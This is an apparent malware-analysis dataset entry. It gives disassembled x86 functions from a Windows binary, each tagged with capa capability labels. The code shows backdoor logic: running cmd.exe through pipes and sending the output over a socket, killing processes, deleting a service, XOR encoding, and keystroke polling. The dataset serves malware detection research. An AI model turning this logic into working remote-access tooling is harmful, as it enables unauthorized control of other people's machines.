joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401800
Capabilities:
Create thread
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [ebp + 8]
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push eax
lea edx, [ebp - 0x14]
push edx
push 0x401660
push eax
push eax
mov dword [ebp - 0x14], 0x14
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x401840
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret 0x14
push esi
or esi, 0xffffffff
cmp edi, esi
je 0x4018c5
mov esi, dword [ebp + 0x10]
push ebx
lea edi, [esi + 3]
push edi
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
push edi
mov ebx, eax
push 0
push ebx
call sub.MSVCR100.dll_memset
mov al, byte [ebp + 0x14]
add esp, 0x10
test al, al
jne 0x401887
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x401883
mov eax, dword [ebp + 0x18]
cmp eax, 1
jne 0x40187a
inc esi
push eax
mov eax, dword [ebp + 8]
push esi
push ecx
push eax
jmp 0x4018b3
xor esi, esi
jmp 0x4018bb
mov byte [ebx], al
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x4018a0
push esi
push eax
lea ecx, [ebx + 1]
push ecx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
jmp 0x4018a2
xor esi, esi
mov eax, dword [ebp + 0x18]
cmp eax, 1
jne 0x4018ab
inc esi
mov edx, dword [ebp + 8]
push eax
inc esi
push esi
push ebx
push edx
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
push ebx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
pop ebx
cmp dword [ebp - 8], 0
mov dword [ebp - 0xc], 1
jne 0x4018e2
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call edi
cmp dword [ebp - 8], 0
je 0x4018d8
mov eax, esi
pop esi
pop edi
mov esp, ebp
pop ebp
ret 0x14
Function at 0x401f20
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x998
push ebx
xor ebx, ebx
push 0x12b
lea eax, [ebp - 0x197]
push ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov byte [ebp - 0x198], bl
call sub.MSVCR100.dll_memset
push 0x7ff
lea ecx, [ebp - 0x997]
push ebx
push ecx
mov byte [ebp - 0x998], bl
call sub.MSVCR100.dll_memset
add esp, 0x18
push ebx
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x4020e1
lea edx, [ebp - 0x5c]
push edx
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
push 0x12c
lea ecx, [ebp - 0x198]
xor eax, eax
push ecx
mov word [ebp - 0x2c], ax
mov dword [ebp - 0x30], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x198]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401fd4
mov edx, dword [str.cmd.exe__c]
mov ecx, dword [0x40527c]
mov dword [eax], edx
mov edx, dword [0x405280]
mov dword [eax + 4], ecx
mov cl, byte [0x405284]
mov dword [eax + 8], edx
mov byte [eax + 0xc], cl
mov eax, dword [ebp + 0xc]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402004
push edi
lea edi, [ebp - 0x198]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402015
push esi
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push ebx
push 1
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push ebx
lea ecx, [ebp - 0x198]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4020df
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
lea eax, [ebp - 0xc]
push eax
push 0x800
lea ecx, [ebp - 0x998]
push ecx
push edx
call esi
mov edi, dword [ebp + 8]
test eax, eax
je 0x4020d4
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xc]
push 0
push 0
push eax
lea ecx, [ebp - 0x998]
push ecx
push edi
call fcn.00401800
push 0x800
lea edx, [ebp - 0x998]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x64
call ebx
mov edx, dword [ebp - 8]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x800
lea ecx, [ebp - 0x998]
push ecx
push edx
call esi
test eax, eax
jne 0x402087
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
push edi
call fcn.00401800
pop esi
pop edi
mov eax, dword [ebp - 8]
cmp eax, ebx
je 0x4020ef
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
cmp eax, ebx
pop ebx
je 0x4020fe
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402110
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
push eax
xor edi, edi
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x402137
push edi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x402150
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x12c]
push eax
push esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [ebp + 8]
test eax, eax
je 0x4021b7
jmp 0x402190
push 0
push 0
push 0x12c
lea ecx, [ebp - 0x12c]
push ecx
push edi
call fcn.00401800
lea edx, [ebp - 0x12c]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402190
push 0
push 0
push 0x12c
lea eax, [ebp - 0x12c]
push eax
push edi
mov dword [ebp - 4], 1
call fcn.00401800
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4022a0
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x406440]
test eax, eax
je 0x4022d7
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x406440]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x406440]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x406440], 0
mov eax, dword [section..data]
cmp eax, 0xffffffff
je 0x4022e7
push eax
call fcn.00401970
mov eax, 1
mov dword [section..data], 0xffffffff
ret
Function at 0x402300
Capabilities:
Delete service
Get common file path
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
push 0x104
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x120]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402322
mov ecx, dword [str.winnet.exe]
mov edx, dword [0x40528c]
push ebx
push esi
push edi
push 0xf003f
mov dword [eax], ecx
mov ecx, dword [0x405290]
push 0
mov dword [eax + 4], edx
push 0
mov dword [eax + 8], ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
mov edi, eax
push str.IIS_Angent
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x40237e
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4023cc
lea edx, [ebp - 0x1c]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4023c5
cmp dword [ebp - 0x18], 1
je 0x4023c5
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4023c5
cmp dword [ebp - 0x18], 3
jne 0x4023c5
lea ebx, [ebx]
push 0xa
call ebx
lea ecx, [ebp - 0x1c]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 3
je 0x4023b0
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
push 0x5dc
call ebx
lea edx, [ebp - 0x260]
push edx
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
je 0x402402
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret
Function at 0x4027f0
Capabilities:
Create process on windows
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
mov esi, dword [ebp + 8]
movzx eax, byte [esi]
add eax, 0xfffffffc
push edi
cmp eax, 0xdb
ja case.0x402816.5
movzx eax, byte [eax + 0x402a44]
jmp dword [eax*4 + 0x402a10]
call fcn.00402300
call fcn.004022a0
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [section..data]
push ecx
call fcn.00402150
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [esi + 1]
push esi
call fcn.00402110
add esp, 4
xor ecx, ecx
push ecx
push 3
push 4
mov dword [ebp - 8], ecx
lea edx, [ebp - 8]
mov dword [ebp - 8], eax
mov eax, dword [section..data]
push edx
push eax
mov byte [ebp - 4], cl
call fcn.00401800
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
inc esi
push esi
push 0x4052a0
push 0x406040
call dword [sym.imp.MSVCR100.dll_sprintf]
mov ecx, dword [section..data]
push 0x406040
push ecx
call fcn.00401f20
add esp, 0x14
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [section..data]
push edx
call section..text
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
inc esi
push esi
push 0x4052a4
push 0x406040
call dword [sym.imp.MSVCR100.dll_sprintf]
mov eax, dword [section..data]
add esp, 0xc
push 0x406040
push eax
call fcn.004010f0
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [section..data]
push 0
push 0
push 0xb8
lea ecx, [ebp - 0xc4]
push ecx
push edx
call fcn.004018f0
mov eax, dword [section..data]
sub esp, 0xb8
mov edi, esp
mov ecx, 0x2e
lea esi, [ebp - 0xc4]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401410
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
inc esi
push esi
push 0x4052a8
push 0x406040
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0
push 0
push 0
push 0x402410
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0xff
lea ecx, [ebp - 0x108]
push 0
push ecx
call sub.MSVCR100.dll_memset
inc esi
push esi
lea edx, [ebp - 0x108]
push 0x4052ac
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0x18
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0xff
lea ecx, [ebp - 0x108]
push 0
push ecx
call sub.MSVCR100.dll_memset
inc esi
push esi
lea edx, [ebp - 0x108]
push 0x4052b0
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0x18
push 1
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [0x406440], 0
jne case.0x402816.5
push 0
push 0
push 0
push 0x4024e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402b50
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004042f0
test esi, esi
jne 0x402b86
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004043e0
jmp 0x402ba4
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004029f4
mov edi, eax
test esi, esi
je 0x402ba4
cmp dword [ebx], 0
je 0x402ba4
dec esi
jmp 0x402b8d
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4032dc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x47d020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403374
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403354
xor eax, eax
push ebp
push 0x40334d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403390
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403354
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x47d020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x47d020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404150
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x47f04c], 0
je 0x4041b1
cmp word [0x47f220], 0xd7b2
jne 0x404179
cmp dword [0x47f228], 0
jbe 0x404179
mov eax, 0x47f21c
call dword [0x47f238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x47d06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4041d8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x47d030], 0
jne 0x4041cd
push 0
push 0x47d064
push 0x47d06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405ba0
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405dd0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405c23
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405dd0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405c23
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405dec
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405cac
xor eax, eax
push ebp
push 0x405ca5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.004059dc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405c8a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405e0c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405c8a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405cac
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405dc6
cmp byte [ebp - 0xd], 0
jne 0x405cf3
cmp byte [ebp - 0x12], 0
je 0x405dc6
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405d0c
dec ebx
cmp byte [ebx], 0x2e
je 0x405d1b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405d0b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405dc6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405d58
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405dc6
cmp byte [ebp - 0xd], 0
je 0x405dc6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405dc6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4064b8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40651e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404560
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402eb4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406508
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406525
lea eax, [ebp - 0x10]
call fcn.004042f0
ret

Function at 0x40bf04
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bf3d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004043e0
jmp 0x40bf46
mov eax, ebx
mov edx, esi
call fcn.00404344
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40bf50
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bf72
movzx eax, byte [esp]
jmp 0x40bf74
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c604
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c47c
mov eax, dword [0x47eb58]
cmp byte [eax], 0
je 0x40c680
mov eax, dword [0x47e910]
call fcn.00402c68
call fcn.00402920
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004090c4
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c6c8
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c6b6
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x47e8b0]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x47f668]
call fcn.00405984
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40cf5c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d032
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404388
lea eax, [ebp - 4]
call fcn.0040481c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004047cc
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40d01c
mov eax, ebx
call fcn.004027b8
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40d015
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004047cc
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40cfff
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40d044
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40cfff
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d01c
mov eax, dword [ebp - 0x10]
call fcn.004027d8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d039
lea eax, [ebp - 4]
call fcn.004042f0
ret

Function at 0x423378
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x47f88c
cmp dword [edi], 0
jne 0x4233f4
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x47f888]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x47d5a8
mov ecx, 2
call fcn.004029b4
mov edx, 0x423350
lea eax, [esi + 5]
call fcn.00423370
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00423370
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x4233c9
mov dword [0x47f888], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x423cec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.004047cc
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x423d44
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x47ec9c]
mov dl, 1
mov eax, dword [0x4236bc]
call fcn.0040c7c4
call fcn.00403cfc
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004237c4
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x424d58
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x424d5e
ret
Function at 0x433790
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x47fae8], 0
je 0x4338d9
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x47eadc]
mov edx, dword [edx]
xor al, byte [edx + 0xbc]
je 0x4338d9
mov eax, dword [0x47faec]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x47fae8]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x4338a8
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x47fae8]
call fcn.0041bcb8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x4338a0
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1ae], 0
je 0x4338a0
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x4338a0
mov eax, dword [ebp - 0x14]
call fcn.0043caf4
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4338a0
push ebp
call fcn.0043374c
pop ecx
test al, al
jne 0x4338a0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbc
call fcn.00403668
test al, al
je 0x4338a0
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403668
cmp byte [ebp - 1], 0
je 0x4338a0
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x4338a0
mov edx, dword [ebp - 0x14]
mov eax, dword [0x47faec]
call fcn.00432ea8
inc edi
dec ebx
jne 0x4337f5
mov eax, dword [0x47faec]
cmp dword [eax + 8], 0
jle 0x4338c0
mov eax, dword [0x47faec]
call fcn.00432f60
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4338d9
push ebp
mov eax, dword [ebp - 0x18]
call fcn.004335b0
pop ecx
test al, al
jne 0x4338d9
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret